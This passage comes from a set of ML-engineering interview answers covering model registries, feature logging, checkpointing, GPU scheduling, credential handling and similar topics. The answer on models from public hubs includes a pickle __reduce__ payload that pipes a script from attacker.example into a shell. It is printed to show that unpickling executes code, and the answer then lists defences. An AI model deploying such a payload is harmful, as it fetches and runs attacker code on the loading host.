Cost. A 500-feature float32 vector is 2 KB. At 10M predictions/day that is ~20 GB/day of raw vectors, ~7 TB/year. Most teams log a snapshot reference plus a hash for everything and keep raw vectors only for contestable decisions: declines, reviews, anything a person can appeal.

When this is overkill. Low-stakes ranking where the decision is reversible and nobody has a right to an explanation: logging the model version and the score is enough. The moment a decision is contestable (credit, fraud, medical, employment) the input is the evidence, and the reproduction is only as good as what you wrote down at serve time.

Curated: · Written: · Reviewed:

Q&A-5Someone wants to overwrite version 12 with a retrained model. What is your answer?

No. Register the retrained model as a new version and leave v12 alone. The only case where overwriting is defensible is a registry that has never served production and whose versions nothing references, and even there, a new version costs one row, so the argument for reuse is convenience, not correctness.

Assumptions that decide it: v12 has been deployed, or is named in a deployment record, a rollback target, or an approval. If none of those hold, this is a scratch registry and the answer changes.

Why the version number is the identity

A registered version is a name for a fixed set of bytes. Deployment records, rollback targets and audit trails store that name, not the weights. Overwrite the bytes and every record that says "v12" silently starts describing a different model. Nothing errors; the records just become wrong. The digest is what makes the link checkable, so store it alongside the version in every deployment record and compare it before a rollback runs.

The alternatives, and when each is right

ApproachWhat movesCostRight when
Immutable version + mutable aliasthe alias (champion, production)one extra version rowAny registry feeding production
Overwrite in placethe bytes under v12noneScratch registry, no consumers, no deployment records
Content-addressed storethe digesta lookup indirectionBuild cache or artifact store, not a deployment source of truth

The alias pattern is the one to reach for. MLflow's model registry keeps versions immutable and gives you aliases for the moving pointer (aliases replaced stages in 2.9); SageMaker's model registry likewise treats a model package version as fixed and expects a new version per retrain. The retrained model becomes v13, the champion alias moves to v13, and v12 stays resolvable for the rollback you will eventually need. Promotion is then a one-line alias change with an audit entry, not a byte replacement.

Overwriting is acceptable when the version was never promoted and nothing points at it: a failed training run you want to replace in a dev registry. The test is whether any record outside the registry names it. If one does, cut a new version.

The failure mode

A hotfix overwrote a registered version in place. Three weeks later a rollback restored the overwritten artifact, and the incident the rollback was meant to reverse reappeared immediately.

RecordPoints atAfter overwrite
deployment 2026-01-14v12 digest a91cnow bytes of e77d
rollback targetv12restores the wrong model

Detection is the digest comparison: a rollback that resolves v12 and finds e77d where the record says a91c should abort, not proceed. Without the digest in the record, you find out from the incident channel.

Enforcement and verification

Enforce immutability in the registry's permissions so an upload against an existing version fails loudly rather than succeeding quietly: convention does not survive a deadline. Then verify it: in a test environment, attempt to re-upload an existing version and require the registry to reject it, and confirm a deployment record written today carries the digest. A version that can change is not an identifier.

Curated: · Written: · Reviewed:

Q&A-55You log every feature vector for debugging. What have you built?

What you've built

Three things, whether you meant to or not.

  1. A replayable record of exactly what the model saw, not what the offline pipeline would have computed, but what the online path actually assembled, at the timestamp it assembled it. That is the only ground truth for "why did this prediction happen".
  2. A skew detector. Diff the logged vector against an offline recompute at the same timestamp and you get training-serving skew, per feature, per model version.
  3. A copy of your personal data, with a new retention period and a new access path: usually a weaker one.

The first two are why you did it. The third is the bill.

Mechanism

At serving time the vector is assembled from the online store, transformed, and handed to the model. Logging it means writing the post-transform values keyed by request id, model version, feature versions, and the time the features were computed, not the time you flushed the log. That key is what makes the record replayable and point-in-time correct.

# Python 3.12
import hashlib, json

SENSITIVE = {"age", "postcode", "diagnosis_code"}

def log_vector(request_id, model_version, feature_versions, vector, computed_at):
    return json.dumps({
        "request_id": request_id,
        "model_version": model_version,
        "feature_versions": feature_versions,   # {"user_ltv": "v7", "age": "v3"}
        "computed_at": computed_at,             # when features were built, not when logged
        "vector": {
            k: hashlib.sha256(str(v).encode()).hexdigest() if k in SENSITIVE else v
            for k, v in vector.items()
        },
    })

Trace: catching skew

Sample 10,000 requests. An offline job recomputes each feature at computed_at from the warehouse and diffs. user_ltv: online logged 412.0, offline recomputes 388.0. The offline job read the 02:00 daily snapshot instead of the point-in-time value. 312 of 10,000 rows (3.1%) differ by more than 5%. age is hashed, so the diff shows only that the hash changed: enough to flag the transform, not enough to read the value. That is the trade you made when you hashed it.

The bill

200 features × 8 bytes = 1.6 KB per vector. At 50M requests/day that is 80 GB/day, roughly 29 TB/year before compression. Hashing sensitive fields does not shrink it.

PropertySource tableFeature log
readers91,400
retention90 days24 months
deletion pathrow-level, testednone

Failure modes

  • Logging post-transform values only: you cannot tell whether skew came from the transform or the source. Log a hash of the raw input alongside the transformed value.
  • Schema drift: a feature added to serving but not to the log. Replay silently misses it and the skew check passes. Detect by asserting the logged feature set equals the model's declared input schema at write time.
  • Timestamp skew: logging at flush time instead of compute time makes point-in-time replay wrong by however long the buffer held.
  • The log outliving the source: retention set by disk cost rather than by the obligation.

So: you have built a replay and skew asset, and you have taken on the source's obligations with weaker controls. Reconcile the log's access list and retention against the source system's before you call it done.

Curated: · Written: · Reviewed:

Q&A-86Nothing was deployed but behaviour changed. Where do you look?

First I'd narrow the question: what changed, for whom, and when. Behaviour that changed for all traffic at one timestamp points at a global input; behaviour that changed for a subset points at a per-request attribute. That split decides the search order.

Then the ordered list of places to look, cheapest and most likely first:

  1. Runtime configuration and flags. Feature flags, thresholds, routing weights, kill switches, provider settings. These change behaviour with no deploy and are usually the least audited surface. Check the change history for actor and time.
  2. Data. Input distribution shift, a new tenant, a backfill, a migration applied earlier, cache cold after eviction, dataset drift.
  3. Dependencies. Upstream service version, third-party API change, TLS cert rotation, DNS, an auto-updated library or sidecar.
  4. Traffic. Volume, mix, a new client version, bot traffic, a retry storm.
  5. Time and environment. Clock skew, DST, cron, TTL expiry, cert expiry, quota reset, month-end.
  6. Infrastructure. Autoscaling, node pool, region failover, instance type.

The mechanism is bisection. Take the requests that behave differently and the ones that don't, and find the variable that separates them. If nothing separates them, the change is global: config, dependency, or time. If a per-request attribute separates them, it's data or routing.

Worked example: p99 latency on the recommendation endpoint goes from 40 ms to 180 ms at 09:12, no deploy. 30% of requests are slow, 70% are fine. A subset, so a per-request attribute. Group by routing weight: the slow group is exactly the 30% routed to the experimental model. Config change, no deploy-log entry.

LayerChanges without deployDiscriminating signal
Config/flagsweights, thresholds, kill switcheseffective config hash differs from last known good
Databackfill, new tenant, drifttenant id, input size, cache hit rate
Dependencyupstream version, cert, DNScaller/callee version, TLS handshake
Trafficvolume, client versionuser agent, request rate
TimeTTL, cron, DST, quotawall-clock alignment of onset
Infraautoscale, failovernode id, region, instance type

Trade-offs: versioning config alongside code and requiring the same review for a threshold as for a model change is the safe default, but it costs. Every threshold change now waits on review, which is wrong for a kill switch you need to flip during an incident. The lighter alternative is immutable config with an audit log and an alert on effective-config-hash change, no approval gate. Criterion: gate changes that move blast radius (traffic routing, auth, money) and let the rest be audited but not approved.

Failure modes. A console edit with no audit trail is invisible to a deploy-log-only investigation; detect it by diffing effective config against last known good and alerting on the hash. Cost of missing it: two days spent on the model while 30% of traffic went to an experimental one. Second: config drift between instances (one node on old config, one on new) which shows as intermittent rather than uniform behaviour; detect by comparing config hash per instance.

I'd produce one timeline covering code, models, config, and dependencies before calling it settled.

Curated: · Written: · Reviewed:

Q&A-87A scheduled pipeline succeeded but produced nothing. How would you know?

"Produced nothing" means one of three things: zero rows written, no new partition, or output byte-identical to the previous run. Assume a batch job on Airflow or cron writing to a warehouse table or an object-store prefix. The exit code tells you the process ended; it says nothing about the data. You know the run produced nothing by asserting on the output, not the exit: rows written, newest timestamp, partition existence, and whether the downstream consumer actually read it.

Three places to put that assertion, and they catch different things.

In-job assertion. The last task in the DAG queries the target and fails the run if the count is zero or outside its band. It fails in the same run, alerts the job's owner, and the retry is idempotent if the write is. Cost: the job has to know its own expected volume, and the band needs maintenance.

Consumer-side check. The feature job, dashboard, or training job asserts freshness and volume before it reads. This catches handoff failures (a permission change, a moved path, a renamed column) that leave the producer green. Detection is delayed to the consumer's schedule, and the alert lands on the consumer's owner, who may not own the fix.

Data-quality framework. dbt tests, Great Expectations, Soda, or a commercial monitor, with freshness, volume, and schema checks declared per table and baselines learned from history. One place to look across hundreds of tables, no per-job code. You pay for another system to run, and an hourly check still detects up to an hour late.

Pick by failure mode: the producer owns a stable SLA, use an in-job check; the handoff is the risk, use a consumer-side check; many tables and no appetite for per-table code, use a framework. In-job zero-checks plus a framework for freshness covers most fleets.

Row-count bands misfire on legitimately sparse sources: weekend and holiday traffic, business-day-only feeds, a new partition that starts small, backfills, seasonal peaks. A global band either fires every Saturday or is so wide it never fires. Fixes: compare against the same weekday over the trailing four to eight weeks; keep a wide band plus a separate hard zero-check, since zero is wrong unless the source is genuinely empty; and for tables that are legitimately empty on some days, encode an expected-empty calendar rather than widening the band.

The failure this prevents: a feature job ran green for nine days after a permission change made its source return zero rows. Exit status was success every day; the feature aged out of TTL and models silently fell back to defaults. A zero-row assertion on day one would have caught it.

SignalCatchesMisses
Exit codecrash, OOM, non-zero exitempty source, partial write
Rows written vs bandempty source, filter changelegitimately sparse days (false positive)
Freshness (max timestamp)stalled upstream, late datafresh but wrong data
Partition existencejob never ran, wrote elsewhereempty partition
Consumer-side laghandoff breakproducer-side silent zero
-- final task in the DAG; fails the run when the partition is empty
SELECT COUNT(*) AS rows_written
FROM analytics.events
WHERE dt = '{{ ds }}';
-- task fails if rows_written = 0

Green means the process exited; it does not mean the data arrived.

Curated: · Written: · Reviewed:

Q&A-47A 30-hour training run dies at hour 26. What did you lose?

The 90-second answer

You lose everything since the last durable checkpoint. No checkpoint, and you lose 26 hours of compute and restart from step 0. With one, you lose at most one checkpoint interval of progress plus the restart cost. The part people get wrong is not "do we checkpoint": it is whether the checkpoint is resumable.

Assumptions I'd state out loud: one 30-hour run, spot/preemptible capacity, the failure is node loss rather than data corruption, and the checkpoint lands on storage that outlives the node.

What has to be in it

Weights alone are not a checkpoint. To resume without a loss discontinuity you need:

  • model weights
  • optimizer state: for Adam, two fp32 tensors per parameter (m and v)
  • LR scheduler step and the AMP grad-scaler state
  • RNG state: python, numpy, torch CPU, and per-GPU CUDA
  • data loader / sampler position and epoch, so you don't silently re-see or skip shards
  • global step

Size arithmetic for a 7B model: bf16 weights are 14 GB, Adam m+v in fp32 is 56 GB, so ~70 GB per checkpoint. At 1 GB/s to shared storage that is a 70-second stall if you write synchronously. That number drives the interval.

Choosing the interval

Cost per checkpoint is the write stall C. Expected progress lost per failure is T_c/2. The classic Young/Daly result gives the optimum as T_opt = sqrt(2·C·MTBF). With C = 70 s and MTBF = 20 h (illustrative), T_opt = sqrt(2·70·72000) ≈ 3175 s ≈ 53 min. Round to hourly.

SetupNominal computeOverheadFailure at h26Total wall clock
no checkpoints30 h026 h lost, rerun 30 h56 h
hourly, sync30 h30 × 70 s ≈ 35 minresume from h25: 1 h recompute + 5 min restart + 4 more checkpoints~31.2 h

The 31.2 h is 26 h already spent + 1 h recompute + 0.08 h restart + 4 h remaining compute + 4 × 70 s of checkpointing.

Failure modes and how you detect them

  1. Checkpoint exists but resume diverges. Optimizer state or RNG wasn't restored. Detect with a CI job that trains 200 steps, kills the process, resumes, and asserts the loss at step 201 matches the uninterrupted run within tolerance.
  2. Torn checkpoint. The process dies mid-write. Write to path.tmp, fsync, then os.replace: atomic on POSIX within one filesystem. Keep the previous N checkpoints so a corrupt newest one isn't fatal.
  3. Async checkpointing loses the copy. If you stage to pinned CPU memory and write in the background, a node loss before the write finishes loses that checkpoint. Track "last durable checkpoint step" as a metric, not "last checkpoint started".
  4. Storage contention. Eight ranks each writing 70 GB to NFS saturates it. Shard the write or go per-rank to object storage. Detect by watching checkpoint wall time, if it grows with run length, you have contention or a leak.
  5. Silent corruption. Checksum the file and verify on load.

Code

import os, torch

def save(path, model, opt, sched, step, loader_state):
    tmp = f"{path}.tmp"
    with open(tmp, "wb") as f:
        torch.save({
            "step": step,
            "model": model.state_dict(),
            "opt": opt.state_dict(),
            "sched": sched.state_dict(),
            "rng": torch.get_rng_state(),
            "cuda_rng": torch.cuda.get_rng_state_all(),
            "loader": loader_state,
        }, f)
        f.flush()
        os.fsync(f.fileno())
    os.replace(tmp, path)          # atomic within one filesystem

Resume: ckpt = torch.load(path, map_location="cpu"), then model.load_state_dict, opt.load_state_dict, sched.load_state_dict, torch.set_rng_state(ckpt["rng"]), torch.cuda.set_rng_state_all(ckpt["cuda_rng"]), and fast-forward the sampler to ckpt["step"]. Since PyTorch 2.6, torch.load defaults to weights_only=True; a plain dict of tensors and ints loads fine, anything else needs an explicit weights_only=False.

Back to the question

At hour 26 of 30 with hourly checkpoints you lose about an hour of compute and five minutes of restart. Without checkpoints you lose 26 hours and pay 30 more. The interval is the whole decision: too short and you spend the run writing, too long and you pay full price on every failure.

Curated: · Written: · Reviewed:

Q&A-48Should training run on preemptible instances?

Short answer: yes for checkpointed training, no for work that cannot resume, and the decision turns on expected compute per completed run, not the headline discount.

Assumptions I'd state first: the job is a long-running training run (hours to days), it can write checkpoints to durable storage, and there's an on-demand pool to fall back to. If any of those is false, the answer flips.

Why the discount can vanish. Preemptible capacity is cheap because the provider reclaims it. AWS calls these Spot Instances and gives a two-minute interruption notice with no maximum lifetime; GCP calls them Preemptible VMs, gives 30 seconds, and caps lifetime at 24 hours (GCP Spot VMs drop the cap). The terminology and the notice window differ, so "spot" and "preemptible" aren't interchangeable when you're sizing the checkpoint interval: you size it to the shorter notice.

The cost model is expected compute per completed run. Take a 10-hour job, on-demand at $1.00/hr, spot at $0.35/hr, and a mean time between interruptions of 5 hours.

CapacityRateExpected compute per completed runEffective cost
on-demand$1.00/hr10 h$10.00
spot, no checkpoints$0.35/hr32 h$11.20
spot, hourly checkpoints$0.35/hr11 h$3.85

Without checkpointing, an attempt only completes if it runs 10 hours uninterrupted; with interruptions every ~5 hours that's e^(-2) ≈ 13.5% of attempts, so ~7.4 attempts averaging 4.3 hours each: 32 hours of billed compute, which is more than on-demand. With hourly checkpoints, each interruption wastes at most an hour, so ~11 hours total. The checkpoint interval is the whole decision.

Failure modes and how to detect them.

  • Checkpointing silently broken. The run restarts from zero and you pay the no-checkpoint price while believing you're checkpointed. Detect: record the age of the last checkpoint at each interruption; if it exceeds the interval, alert. This is the one that bites.
  • Restart storm. A capacity pool being reclaimed faster than the job checkpoints. Detect: attempts per completed run from orchestration metadata; alert above ~1.5.
  • Deadline slip. Spot capacity isn't guaranteed, so a deadline-bound run can miss. Detect: projected completion vs deadline, with an automatic fallback to on-demand when the margin closes.

Operational cost of the fix. Checkpointing isn't free: a 10 GB checkpoint written at ~500 MB/s takes ~20 s, so hourly cadence is ~0.5% overhead. Cheap next to the ~2.6x saving. Checkpoint to durable object storage, not instance-local disk, or the restart loses it.

When not to use it. Short jobs (checkpoint overhead dominates), jobs with expensive-to-reconstruct state, and anything with a hard deadline and no on-demand fallback. For those, on-demand is the cheaper answer once you price the restarts.

Curated: · Written: · Reviewed:

Q&A-74When is distributed training worth the complexity?

Distributed training is worth the complexity in two situations: the model or a single training batch does not fit in one device's memory, or the single-node step time is the binding constraint on how fast you can iterate. Outside those, one well-utilised node is easier to debug and usually just as fast to a result.

State the assumption up front: "worth it" means wall-clock time to a model of a given quality, not peak throughput. A 2x throughput gain that also changes the effective batch size and quietly degrades the model is a loss, not a win.

What actually changes when you add workers. Data-parallel replicates the model on every worker and all-reduces gradients each step. The all-reduce is a synchronisation barrier, so the slowest worker sets the step time: adding workers cannot make the step faster than the worst one. Model-parallel shards the model across devices and pays communication per layer; pipeline-parallel adds bubbles at the stage boundaries. Each of these brings its own failure modes: a worker dying mid-step, a checkpoint written by one rank while others keep writing, a straggler stalling the collective.

Scaling efficiency is the number that decides it. Take an illustrative eight-worker run:

WorkersThroughputEfficiency
11.0x100%
82.3x29%

Efficiency is throughput divided by worker count: 2.3 / 8 ≈ 29%. The eighth worker added roughly 0.1x. That is the marginal return collapsing: you are paying eight GPUs for the work of about 2.3.

Concrete failure modes and how to detect them:

  • Silent effective batch size change. If you hold per-worker batch fixed and add workers, the effective batch grows and your learning rate is now mismatched. Detect it by logging effective batch size and learning rate together on every run.
  • Straggler. One worker on a slower link or a contended GPU sets the step time for all of them. Detect it with per-rank step timings; the max, not the mean, is what you pay.
  • Checkpoint corruption. Rank 0 writes while other ranks continue, so a crash leaves a partial checkpoint. Detect it by loading the checkpoint on a fresh job before trusting it.
  • Convergence drift. The loss curve diverges from the single-node baseline at matched effective batch size. Detect it by running both and comparing curves, not just final numbers.

When not to distribute: the model fits on one device with room for activations, you are still changing the architecture daily, or one epoch is minutes. In those cases the debugging cost of a distributed job dominates any speedup.

So the practical sequence: establish the single-node baseline first, measure scaling efficiency rather than assuming it, keep effective batch size and learning rate consistent when comparing, and checkpoint so a worker loss is recoverable. If the measured efficiency is low and the model fits on one node, the complexity is not buying you anything yet.

Curated: · Written: · Reviewed:

Q&A-73How long should a hyperparameter sweep run?

Answer in the first minute. Budget a sweep in trials and epochs, not wall-clock, and stop on a measured flattening of the best-so-far curve, not on a date. Concretely: run successive halving (ASHA or Hyperband) with reduction factor η=3, a minimum resource r, and a maximum R, then stop the whole sweep when best-so-far has not improved by more than the seed-to-seed noise floor over the last third of trials. For a 5–10 hyperparameter space with a cheap metric that lands around 50–200 trials; for expensive trials, fewer, with more aggressive early stopping.

Assumptions I would state up front: the metric is noisy, the search space is bounded and fixed, and the compute budget is fixed.

Why the curve flattens. For i.i.d. random draws, the expected best after n trials sits near the 1/(n+1) quantile of the metric distribution. Going from 100 to 1000 trials moves you from roughly the top 1% to the top 0.1%: a real but small absolute gain when the metric is flat near its ceiling. That is the mechanism behind diminishing returns: you are not finding new structure, you are sampling further into the tail. Bayesian/TPE samplers change the shape by concentrating draws where the surrogate predicts improvement, so they flatten later per trial but cost more per trial.

Worked sizing. Hyperband with r=1 epoch, R=27, η=3 gives rungs at 1, 3, 9, 27 epochs: 27 configs at 1 epoch → keep 9 → 3 → 1. Total cost is 27·1 + 9·3 + 3·9 + 1·27 = 108 epoch-units, i.e. 4·R.

Illustrative numbers (hypothetical, one project):

TrialsBest val AUC
250.862
500.868
1000.870
2000.871

Seed-to-seed std is 0.004, so the 100→200 gain of 0.001 is inside noise; stop at ~100.

Trade-offs. Random search is cheap, embarrassingly parallel, and good when few hyperparameters matter: Bergstra and Bengio's 2012 random-search paper used 60 random trials per problem and beat grid search at equal budget. TPE/Bayesian gives better per-trial efficiency but scales worse across workers, so it pays off when trials are expensive. Hyperband/ASHA wins when you can evaluate at partial resource (fewer epochs, a data subset) and the early ranking is stable.

A longer sweep is worth it when effective dimensionality is high, trials are cheap, and there is large headroom to target. It is not worth it when dimensionality is low, trials are expensive, or the gap is data-limited, then more labels beat more trials.

Failure modes. Stopping on wall-clock mid-bracket throws away trials already promoted; detect it by logging rung membership. Comparing best-so-far across different seeds without a noise floor chases noise. η too aggressive (say 10) kills slow starters that would have won at full budget: check whether the promoted set's final ranking matches its early ranking.

Curated: · Written: · Reviewed:

Q&A-75Training fails with an out-of-memory error. What do you change first?

First question: does it OOM on step 1, or after N steps? That splits static allocation from fragmentation or a spike, and it decides the fix.

The first change is to cut the micro-batch and hold the effective batch with gradient accumulation. It is free in accuracy at matched effective batch and costs only step time. Checkpointing, precision and optimizer sharding come after; a bigger instance comes last.

Why that order. Assume a transformer in mixed precision with Adam. Per parameter you hold 2 bytes for the fp16 weight, 2 for the fp16 gradient, 4 for the fp32 master weight, and 8 for the two fp32 Adam moments: 16 bytes/param. A 7B model is ~112 GB before a single activation. Optimizer state is 4x the weights, which is why "the model fits on the GPU" is not the test; the training step is.

Activations are the other large term, scaling with micro-batch × sequence length × layers × hidden. They are the only big term you can cut without touching optimizer state or the model. That is why the micro-batch is the first lever: it moves the activation term directly, and accumulation restores the effective batch (micro_batch × accum_steps × data_parallel) so convergence is unchanged.

If it still OOMs, enable activation checkpointing: store only layer-boundary activations and recompute the rest in backward. Roughly 30% more compute for a large cut in activation memory. Then bf16, which halves activation, weight and gradient storage. If optimizer state is still the wall, 8-bit Adam drops the moments from 8 to 2 bytes/param, or FSDP/ZeRO shards them across ranks.

Failure modes, and how to tell them apart:

  • OOM at step 1: static. Params + optimizer state + first forward activations exceed the card. Fix is sharding or a smaller micro-batch.
  • OOM after N steps: fragmentation or a leak. In torch.cuda.memory_summary(), if reserved ≫ allocated the caching allocator is holding freed blocks: set PYTORCH_CUDA_ALLOC_CONF=expandable_segments:True. If allocated keeps climbing, something is accumulating (retained graphs, a growing list).
  • OOM on one batch only: a long sequence in a variable-length batch. Cap sequence length or sort by length.
  • Peak in backward, not forward: backward holds activations and gradients at once. torch.cuda.max_memory_allocated() around the step tells you which phase peaks.
RemedyMemory savedCost
micro-batch ↓ + accumulationactivations ∝ micro-batchstep time
activation checkpointing~60–70% of activations~30% compute
bf16~half of activations, weights, gradsnone material
8-bit Adammoments 8 → 2 bytes/paramsmall accuracy risk
FSDP/ZeROoptimizer state ÷ rankscomms

One caveat: if the model has BatchNorm, accumulation changes the statistics, so effective batch no longer matches. Transformers do not, so this is usually moot.

So: cut the micro-batch with accumulation first, then checkpointing, then precision, then optimizer sharding, and only then the instance.

Curated: · Written: · Reviewed:

Q&A-46Three teams share eight GPUs. How do you allocate them?

Assumptions first: eight identical GPUs on one cluster, three teams running training plus a production retrain path, no hard real-time SLA. If any team serves latency-critical inference, the answer changes: see the last section.

Answer: static nominal quota with borrowing, plus priority preemption for production. Split 4/2/2 by GPU count, let idle quota be borrowed, give the production retrain a preempting priority class.

Why not pure fair-share: Slurm's priority/multifactor with PriorityWeightFairshare equalizes usage over time, which is right for a research cluster and wrong here. A 40-hour sweep and a 40-minute retrain are not interchangeable. Why not pure FIFO: whoever launches first wins, which is exactly the incident below.

In Slurm:

# slurm.conf
PriorityType=priority/multifactor
PreemptType=preempt/qos
PreemptMode=REQUEUE
sacctmgr add qos prod   GrpTRES=gres/gpu=4 GrpTRESMins=gres/gpu=20000
sacctmgr add qos team-b GrpTRES=gres/gpu=2
sacctmgr add qos team-c GrpTRES=gres/gpu=2

GrpTRES caps concurrent GPUs; GrpTRESMins caps GPU-hours per accounting period so one team can't burn its month in a day. PreemptMode=REQUEUE sends the preempted job back to the queue, which only helps if the job checkpoints, so sbatch --requeue plus a checkpoint every N steps is a precondition, not a nice-to-have.

In Kubernetes: the NVIDIA device plugin exposes nvidia.com/gpu as an integer resource. You cannot request 0.5, so "share a GPU" means either time-slicing (sharing: timeSlicing: replicas: 4 in the plugin ConfigMap, no memory isolation) or MIG (nvidia.com/mig-1g.10gb, which does isolate). Kueue then holds the quota: a ClusterQueue per team with nominalQuota, borrowingLimit, and preemption: reclaimWithinCohort: Any.

The allocation:

TeamNominal GPUsBorrowsPreempts
prod retrain4yesyes
team-b2yesno
team-c2yesno

Borrowing is what keeps utilization up: at 3 a.m. team-b can run 6 GPUs if prod is idle, and hands them back when prod submits. Without it you pay for eight GPUs and use five.

Failure modes:

  • Preemption without checkpointing. REQUEUE restarts from step 0. A 30-hour job preempted at hour 29 loses 29 hours. Detect by comparing sacct elapsed against TotalCPU across requeues.
  • MIG fragmentation. On an A100 80GB you can carve 7×1g.10gb, but then a job needing 40 GB can't fit even with all seven slices free. Reserve one full GPU or a 3g.40gb slice for whole-device jobs.
  • Gang-scheduling deadlock. A job needing 8 GPUs on a cluster where 4 are borrowed waits forever while holding nothing. Use Volcano or Slurm's gang-aware scheduling rather than letting partial allocations accumulate.
  • Borrower starvation. If prod is never idle, team-b's nominal 2 is all it ever gets. That's the intent, but say it out loud so it isn't discovered in a retro.

Detection: squeue --start for predicted start, sacct -o JobID,Elapsed,State for actual wait, and the DCGM exporter (DCGM_FI_DEV_GPU_UTIL) to check whether borrowed GPUs are busy or merely held.

When not to do this: if any team serves latency-critical inference, don't share at all. Partition hard (3/3/2 dedicated) or move serving to separate hardware, because preemption and time-slicing both add tail latency you can't budget for.

Curated: · Written: · Reviewed:

Q&A-52Your training job needs a database credential. Where does it live?

It doesn't live in the job. The job presents an identity, and the credential is minted at runtime, scoped to that job, and expires in minutes. If you're stuck with a static secret, it lives in a managed store (AWS Secrets Manager, GCP Secret Manager, Vault) and is fetched at process start. It never lives in the image, the repo, or the pipeline YAML.

How the credential actually arrives. On EKS, the pod's service account is annotated with an IAM role ARN. Kubelet projects an audience-scoped service account token into the pod; the AWS SDK exchanges it via sts:AssumeRoleWithWebIdentity for temporary credentials (default 1h). Those credentials sign a database auth token, which is the password. No static key exists anywhere in the pod.

# Python 3.11, boto3 1.34, psycopg 3.1
import boto3, psycopg

def connect():
    rds = boto3.client("rds", region_name="us-east-1")
    token = rds.generate_db_auth_token(
        DBHostname="db.internal", Port=5432,
        DBUsername="trainer", Region="us-east-1")
    return psycopg.connect(
        host="db.internal", port=5432, user="trainer",
        password=token, dbname="features", sslmode="require")

Trace: pod starts → kubelet writes the projected token to /var/run/secrets/eks.amazonaws.com/serviceaccount/token → SDK calls STS → temp creds → generate_db_auth_token presigns a URL with those creds → Postgres validates it against IAM. The token is valid 15 minutes, so you mint one per connection, not one per job.

The alternatives, and when each wins.

OptionLifetimeWhere it sitsCost
Cloud IAM DB auth (RDS / Cloud SQL)15 min / 1hnowhere: generated per connectfree; DB must support it
Vault DB secrets enginelease TTL you set, 1h typicalfile via agent sidecarrun and HA Vault
Secrets Manager + rotation Lambdastatic until rotated, 30–90denv var or filelow; rotation Lambda
Kubernetes Secretuntil rotatedetcdworst of both

Pick IAM DB auth when the engine supports it: it's the only option where the credential has no resting place. Vault earns its cost when you have many backends, non-cloud databases, or need per-job dynamic users with audit trails. Secrets Manager is fine for a single-tenant cluster against a database with no IAM auth; don't stand up Vault for one job.

Failure modes. An env var is readable in /proc/<pid>/environ by any same-uid process, lands in crash dumps, and is inherited by every DataLoader worker. The Secrets Store CSI driver with syncSecret: true writes the value back into a Kubernetes Secret: you've reintroduced etcd. A long-running job that caches its connection past token expiry dies mid-epoch with an auth error; reconnect per connection. Rotating a shared static secret invalidates credentials held by in-flight jobs, which is why short TTLs plus reconnect beat scheduled rotation.

Detect all of this the same way: scan built images and the repository for credential material as a build step and fail the build on a hit.

Curated: · Written: · Reviewed:

Q&A-53A team wants to load a model downloaded from a public hub. What is your concern?

First I'd pin down what "load" means, because the answer changes with it: which loader (torch.load, safetensors.torch.load_file, AutoModel.from_pretrained), whether the repo ships custom Python (trust_remote_code=True), and what the process can reach. Network, cloud credentials, the model registry.

My concern is that on the pickle-based path, loading is code execution with the privileges of the serving process. A model file is not data you read; it is a program you run. The supply-chain question is the same one you'd ask about a dependency, except model repos are usually less scrutinised than PyPI.

Mechanism

Pickle is a stack VM whose opcodes can name any callable. REDUCE pops a callable and an argument tuple and calls it. A file only has to contain this:

import pickle, os

class Payload:
    def __reduce__(self):
        return (os.system, ("curl -s https://attacker.example/x.sh | sh",))

blob = pickle.dumps(Payload())

Trace of pickle.loads(blob): at dump time __reduce__ already ran and produced the pair (os.system, ("curl ...",)), so the pickler wrote os.system as a GLOBAL opcode and the string as a unicode opcode. At load, the unpickler resolves GLOBAL to the real os.system, pushes the argument tuple, and REDUCE pops both and calls os.system("curl ..."). Payload is never instantiated. No __main__ guard, no prompt. torch.load on a .pt or .bin file goes through this same unpickler.

Load-time risk by artifact

Artifact / callExecutes on loadWhat to verify
.pt / .bin via torch.load (default before PyTorch 2.6)yesdigest, sandbox
torch.load(..., weights_only=True) (default from PyTorch 2.6)restricted unpicklerstill not a sandbox
safetensorsnodigest, header size
trust_remote_code=Trueyes: repo .py runsreview the code, or don't set it
tokenizer files, numpy .npz with allow_pickle=Trueyessame as pickle

PyTorch 2.6 (January 2025) flipped torch.load's default to weights_only=True, which restricts the unpickler to tensors and an allowlist of safe globals you can extend with torch.serialization.add_safe_globals. That is a real mitigation, but it is a narrower unpickler, not isolation. Treat it as shrinking the attack surface, not removing it.

What format does not fix

safetensors removes the code-execution path; it does nothing about a poisoned model. Weights can be backdoored, and a repo can ship a tokenizer or custom modeling file that runs regardless of the weight format. Format is one control; provenance is another.

Failure modes and how you detect them

  • Egress from the load job. The payload's first move is usually a fetch. Run the load with no network namespace and alert on any attempt.
  • Credential access. The process inherits env vars and instance metadata. Load with a role that has no permissions and no mounted secrets.
  • Silent persistence. A payload can write into the model cache directory, so the next load is compromised too. Mount the cache read-only or discard it after the load.
  • Digest drift. Pin revision=<commit-sha> and compare the file's sha256 against the oid sha256: in the repo's LFS pointer before the file is ever opened.

What I'd do

Convert to safetensors where the architecture allows, pin the revision to a commit SHA, verify the digest, load once in a network-less container with no credentials, then promote the verified artifact into the registry with its provenance recorded. If the repo needs trust_remote_code=True, that is a code review, not a download.

Curated: · Written: · Reviewed:

Q&A-9How do you know your training features were available at prediction time?

A feature is point-in-time correct when its value was knowable at the row's decision timestamp, not at the time you built the training set. I retrieve features with an as-of join keyed on the decision timestamp, using event time rather than ingestion time, and I prove it with a fixture whose events straddle the boundary. The check that settles it is logging the served feature vector and diffing it against what training would have produced for the same entity and timestamp.

The join. For each training row, take the most recent event at or before the decision timestamp:

-- PostgreSQL 16
SELECT t.user_id, t.decision_ts, f.value
FROM training_rows t
LEFT JOIN LATERAL (
  SELECT value
  FROM feature_events e
  WHERE e.user_id = t.user_id
    AND e.event_ts <= t.decision_ts
  ORDER BY e.event_ts DESC, e.ingest_seq DESC
  LIMIT 1
) f ON true;

ingest_seq breaks ties so two events sharing an event_ts resolve identically on every rebuild. Ingestion time is the wrong key: a backfill or late-arriving event can be ingested after the decision while describing something before it, and joining on ingest_ts pulls it in.

Alternatives.

ApproachWhat enforces point-in-timeWhen it is enough, and where it breaks
Feature store PIT join (Feast, Tecton, BigQuery feature store)Store keeps event_ts per value and joins as-ofRight when serving already reads the same store. Breaks if history was backfilled without re-materialising, or a TTL dropped old events.
Hand-rolled temporal SQLThe LATERAL join aboveEnough when entity count and history are small and the query is covered by a fixture. Correctness lives in one query that regresses silently when someone edits it.
Snapshot table (daily or hourly materialisation)Each snapshot is a fixed point in timeEnough when features change slower than the snapshot interval and decision timestamps align to it. An event inside the window leaks.
